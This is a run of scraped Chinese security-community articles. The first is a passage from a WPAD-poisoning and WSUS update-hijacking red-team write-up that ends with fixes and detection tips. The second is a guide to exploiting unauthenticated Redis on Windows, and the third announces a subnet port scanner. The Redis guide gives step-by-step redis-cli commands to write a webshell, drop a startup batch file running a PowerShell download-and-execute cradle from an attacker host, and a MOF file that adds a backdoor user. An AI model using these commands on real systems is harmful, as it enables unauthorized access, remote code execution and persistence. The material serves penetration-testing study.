Explorer的当前代理配置。如果WSUS的URL为“HTTP：// <SERVER>”，浏览器设置为自动配置代理，那我们就可以继续！
注册/值：
`HKLMSoftwarePoliciesMicrosoftWindowsWindowsUpdateWUServer`
`HKLMSoftwarePoliciesMicrosoftWindowsWindowsUpdateAUUseWUServer`
`HKCUSoftwareMicrosoftWindowsCurrentVersionInternet`
`SettingsConnectionsDefaultConnectionSettings（注意：如果第5个字节为偶数，则在启用WPAD的Internet
Explorer中可能会自动检测到代理）`
WSUS设置
自动设置选择（第5个字节）
做完这些检查，我们可以使用ARP来定位我们可能想要定位的子网上的另一个主机。
## 网络弯曲
在使用我们的代理作为WSUS代理的过程中出现了一个明显的问题。幸运的是用Cobalt
Strike的灯塔，我们有反向端口转发的功能。在WPAD中毒攻击期间，我们可以将受害者的浏览器指向我们的“代理”，这只是网络中的一个反向隧道，我们的C2服务器。然后，使用SOCKS转发隧道，我们可以将浏览流量推回到环境中，以接收除了篡改包之外的WSUS更新操作。
## 毒药
一旦隧道准备好了，最后是攻击的时候了。首先，我配置我的恶意有效载荷并启动WSUSpectProxy。WSUSpectProxy接收在其payload.ini文件中定义的自定义负载（如下所示）。像研究人员在白皮书中推荐的那样，我使用PsExec.exe和一个命令行参数。在我的情况下，我使用参数启动powershell.exe运行“net
user”和“net localgroup”来添加一个后门用户“bob”。
现在是时候使用多个标志来启动Invoke-Inveigh来定义我们希望脚本使用的一些设置了：
`-IP <IP OF POISON VICTIM>：设置绑定原始套接字的IP`
`-NBNS Y：设置启用NBNS欺骗`
`-LLMNR Y：设置启用LLMNR欺骗`
`-HTTP Y：打开HTTP服务器，以提供WPAD.dat文件`
`-SMB N：不要做任何类型的SMB中继攻击`
`-StatusOutput Y：设置启用打印状态输出`
`-Tool 2：将设置配置为在某个工具中运行此设置。Empire的设置可以很好的和Cobalt Strike工作`
`-SpooferIPsReply <TARGET IP>：目标或CSV目录的IP列表`
`-WPADAuth匿名：不要弹出WPAD的信用框`
`-WPADIp <ProxyHost>：运行rportfwd命令的中毒主机的IP`
`-WPADPort 8080：rportfwd命令的端口`
该命令将针对目标主机执行WPAD中毒攻击，并提供一个WPAD.dat，将目标浏览器指向我们已经出站的端口转发隧道。该端口将在8080端口上返回我们的C2服务器。
## MITM更新
一旦满足MITM条件，更新请求就会被拦截，我的恶意软件包就会被传递给客户端。由于更新至关重要，因此可能会被执行，添加本地用户并允许我们横向传播。
免责声明：将本地用户添加到系统可能会提示，但是可以使用更好的做法，并使演示更容易一些。我建议改进启动方式，启动一个只有内存的代理（可能使用PowerShell）…但我会让你弄清楚的。
不错！我们现在可以访问并且可以使用新添加的用户部署灯塔代理。
## 修复漏洞
有许多缺陷可以使得这个攻击能够成功，它们应该在任何网络中被修复。这些问题已经确定了很长时间，但是我仍然认为在这个链条中滥用的错误配置缺乏意识和控制。除了防止漏洞的控制之外，SOC和CIRT还可以通过多种方式来检测网络和复杂攻击者发生的恶意活动，重点检测是有必要的。
## WPAD控制/修复
要修复WPAD错误配置，DNS A或CNAME记录应该添加到名称为“wpad”的内部DNS服务器中，以防止主机进入执行MDNS /
LLMNR广播的步骤。此外，如果不需要该功能，则可以通过GPO取消选中自动设置。
<https://technet.microsoft.com/en-us/library/cc995062.aspx>
<http://tektab.com/2012/09/26/setting-up-web-proxy-autodiscovery-protocol-wpad-using-dns/>
## WSUS修复
任何更新软件包或软件应始终通过安全连接部署（至少为SSL）。有许多项目专注于通过网络传输的后门软件和应用程序…许多坏人使用这种技术来获得初始访问和横向传播。对于WSUS具体来说，我发现这个站点有助于配置正确的设置：
<https://technet.microsoft.com/en-us/library/hh852346.aspx#bkmk_3.5.ConfigSSL>
## 检测
预防控制是一个期望较少的方法，但是随着组织的成熟度的增长，通过[安全控制](http://www.leeholmes.com/blog/2014/12/08/maslows-hierarchy-of-security-controls/)的[层次结构](http://www.leeholmes.com/blog/2014/12/08/maslows-hierarchy-of-security-controls/)，审计和取证能力是必须的。随着组织转向[假设违约](https://azure.microsoft.com/en-us/blog/red-teaming-using-cutting-edge-threat-simulation-to-harden-the-microsoft-enterprise-cloud/)心态，他们将重点放在预防上，同时也引入了对检测和响应的巨大需求。有几个主题可以从上面的攻击链中抽象出来，以提醒可疑活动。
## PowerShell v5
PowerShell
v4和v5引入了许多蓝军应该理解的功能。我在这里提到他们特别是因为我在我的攻击链中使用了Inveigh.ps1，但与底层技术的检测并不直接相关，只是武器化向量。有[一篇文章](https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/)总结了大部分有用的功能。任何正在努力改进网络检测的人都应该寻找并引入功能来对抗PowerShell攻击。PowerShell攻击正在上升，不久之后就不会有任何的事情了。
## 事件日志
事件日志在大型企业中转发可能很困难。集中收集和收集这些日志所获得的价值不能低估，在我看来，这是完全值得的。在这种攻击链的情况下，似乎添加到集合中的最佳日志是c：
windows
windowsupdate.log文件。如果你没有收集，则具有“WindowsUpdateClient”和17或19的ID的系统事件日志将显示你下载/安装的更新的名称。比较主机上的日志将允许你选择仅在所选主机上发生的边缘事件（恶意更新）。
在这种情况下，DNS日志的集合也是有用的。假设企业组织怀疑通过禁用WPAD正确地修复了WPAD中毒攻击，如果将恶意的或新的工作站引入环境而无需控制或当前工作站已禁用控制，则会警告并观察WPAD的失败率。
## WMI事件订阅
我们的团队是WMI在防守上的用途的巨大支持者。你可能已经看到Matt Graeber
[最近的一些tweets](https://twitter.com/mattifestation/status/685880133438148608)
，例如，他提供的WMI签名，将提供围绕事件值得监控的警报。ATD的Hunt能力主管Jared
Atkinson开发了一种名为Uproot的工具，它[实际上](https://github.com/Invoke-IR/Uproot)是一种基于代理主机的IDS，使用了WMI事件订阅。
在我们的例子中，可以在“HKEY_USERS <USER-GUID> Software Microsoft Windows CurrentVersion
Internet Settings
Wpad”下的网络配置文件子键内的值更改创建WMI事件过滤器的时间。此外，你可以对签名的文件创建或修改wpad.dat文件，该文件暂时放在“<USER
APP DATA> Local Microsoft Windows Temporary Internet Files Content.IE5”中。
如果你有兴趣，请查看[Uproot](https://github.com/Invoke-IR/Uproot)和[WmiEvent](https://github.com/Invoke-IR/WmiEvent)，并将其作为练习的机会。
## 结论
虽然我在这篇文章中没有引入任何新的工具，但我的目标是将几个好的工具拼接在一起，展示一个有趣的攻击链，并鼓励创造性的技术。此外，我希望能够引起大家对在大型企业环境中常见的一些错误配置的重视。
本文翻译自：[http://www.sixdub.net/?p=623](http://www.sixdub.net/?p=623)，如若转载，请注明来源于嘶吼：
<http://www.4hou.com/info/news/5223.html> | 社区文章 |
# Redis未授权访问在windows下的利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在某次内网渗透中遇到了redis+windows的环境，由于目标较为敏感因此在本地和uknow大佬一起进行了测试，也因此有了下面的文章。
## 环境搭建
首先下载windows版本的redis
<https://github.com/dmajkic/redis/downloads>
下载的Redis包含32位和64位操作系统，根据自己实际情况选择，本次测试使用的是64位系统。
切换到对应目录，命令行下输入`redis-server.exe redis.conf` 运行redis
查看端口6379已经开放，说明Redis启动成功。
在本机使用telnet 连接靶机 `telnet 192.168.1.101 6379`
连接后输入info查看是否成功
也可以通过redis-cli.exe来进行连接
**对于windows下的获取权限的方式，网上并不是很多，但是对于Redis未授权漏洞的利用，其最根本的原理就是写文件的利用，个人简单概括一下大致的几种（可能有考虑不周的，大佬们轻喷）
1、能够获取web绝对路径的，直接写入webshell
2、写入启动项
3、写入mof、dll劫持等**
## 漏洞利用
### 写入webshell
第一种写入webshell，需要通过phpinfo或其他的报错方式来获取网站绝对路径
然后通过执行如下命令获取shell
**C:UsershpDesktop64bit >redis-cli.exe -h 192.168.1.101 -p 6379
redis 192.168.1.101:6379> CONFIG SET dir c:/phpstudy/www
OK
redis 192.168.1.101:6379> CONFIG SET dbfilename evil.php
OK
redis 192.168.1.101:6379> set x “<?php phpinfo();?>”
OK
redis 192.168.1.101:6379> save
OK**
查看webshell地址
### 写入启动项
第二种写入启动项也是和在linux环境下如果无法获取webshell或写入ssh-keygen情况下写入启动项一样的原理。
windows下的开机启动项的目录为
`C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start
Menu/Programs/startup/`
这边有个小细节，由于Start Menu之间有空格，因此需要用双引号将路径包含。
这种情况下获取shell的方式可以使用mshta，具体可以参考ukonw大佬的博客
<https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html>
另外的方式也有很多，内网中我现在比较喜欢msf和CS的结合，这边使用Cobalt Strike也举个栗子。
先启动CS服务端 ，命令如下：
`root[@kali](https://github.com/kali "@kali"):~/cobaltstrike# ./teamserver
192.168.1.105 233`
在启动客户端，输入密码和地址
添加一个Listener 监听器
选择Attacks – Web Drive-By – Script Web Delivery，选择刚才添加的Listener
点击Launch之后生成如下代码
`powershell.exe -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://192.168.1.105:80/a'))"`
直接保存为1.bat即可
其中存在两个小细节，一个是由于dbfile本身是有内容的，因此命令要正常运行必须先换行，经过测试需要两个换行符rn才能正常运行，还有一个是由于本身执行命令中也有双引号，因此需要加入转义
**C:UsershpDesktop64bit >redis-cli.exe -h 192.168.1.101 -p 6379
redis 192.168.1.101:6379>config set dir
“C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start
Menu/Programs/startup/“
OK
redis 192.168.1.101:6379> CONFIG SET dbfilename 1.bat
OK
redis 192.168.1.101:6379>set x “rnrnpowershell.exe -nop -w hidden -c ”IEX
((new-object
net.webclient).downloadstring(‘[http://192.168.1.105:80/a’))”rnrn”](http://192.168.1.105:80/a'\)\)%22rnrn%E2%80%9D)
OK
redis 192.168.1.101:6379> save
OK**
查看服务器启动项，发现正常写入命令
重启机器，服务器就上线了。
### 写入MOF
这个也是本次文章的原因，由于不能重启机器也无法获取web目录，想到Mof提权，不过也是有环境限制只能为win2003，也是由于当年玩提权时候很多时候都是找最简方式提权，所以没尝试过这种老式的提权方式，这次也算弥补了一下技术遗憾。
简单描述一下mof提权的原理：
mof是windows系统的一个文件（在c:/windows/system32/wbem/mof/nullevt.mof）叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后，然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行，这个mof当中有一段是vbs脚本，这个vbs大多数的是cmd的添加管理员用户的命令。
也就是说在`c:/windows/system32/wbem/mof/`目录下的mof文件会每5秒自动执行一次，这样就不需要重启机器就能获取权限了。
emmm 这个操作和写入ssh keygen类似，因此还是建议在linux下完成。
首先将如下代码保存为mof文件：
`#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user 3shine
admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};`
此处要执行的命令为添加名为3shine的用户
然后执行
`(echo -e "nn"; cat 3shine.txt; echo -e "nn") > foo.txt`
切换到redis目录，运行如下命令
过一会就看到用户添加成功了。 | 社区文章 |
还记得那个曾经在FreeBuf上发布的HTTPScan吗？
那时候我还是一个刚接触网络的菜鸡，看着那个工具原理很简单，就有了重新造一个更好的轮子的想法。
于是我开始了Python学习之路，不停的搜着比threading更快更厉害的线程模块 （要比前面的轮子更好！）
由于自己的Python实在太烂，只能抄代码。最后的结果是写出了一个比原作还要烂的工具。
因此我开始潜心学习，一定要写一个更厉害的轮子！(手动滑稽~)
上面扯淡，请忽略
**一个新的工具诞生啦：CSpider - 基于Python3**
**有什么优点呢：**
_支持多端口扫描，不再是80端口啦
_ 不会再出现线程假死、无法退出的情况 ( 这里你可能需要多按几次Ctrl+c )
_速度更快，效率更高，占用系统资源减少
_ HTML格式输出结果，一个a标签，更方便查看相关信息
* 支持A、B、C段扫描 (不建议扫A段哦，太大了。)
**命令行输出：**
**HTML格式：**
**使用方法：**
args:
-t 线程数 # 默认120
-o 超时时间 # 默认3
-p 探测80以外的其他端口 # 速度会降低
example:
python cspider.py 180.149.132.0/24 #c段
python cspider.py 180.149.0.0/16 # b段
python cspider.py 180.149.132.0/24 -t 128 -o 5
**工具地址：**
Github:[https://github.com/Lyttoni/CSpider](http://)
代码写的很一般，各位大师傅有问题请多多指教~ | 社区文章 |
Subsets and Splits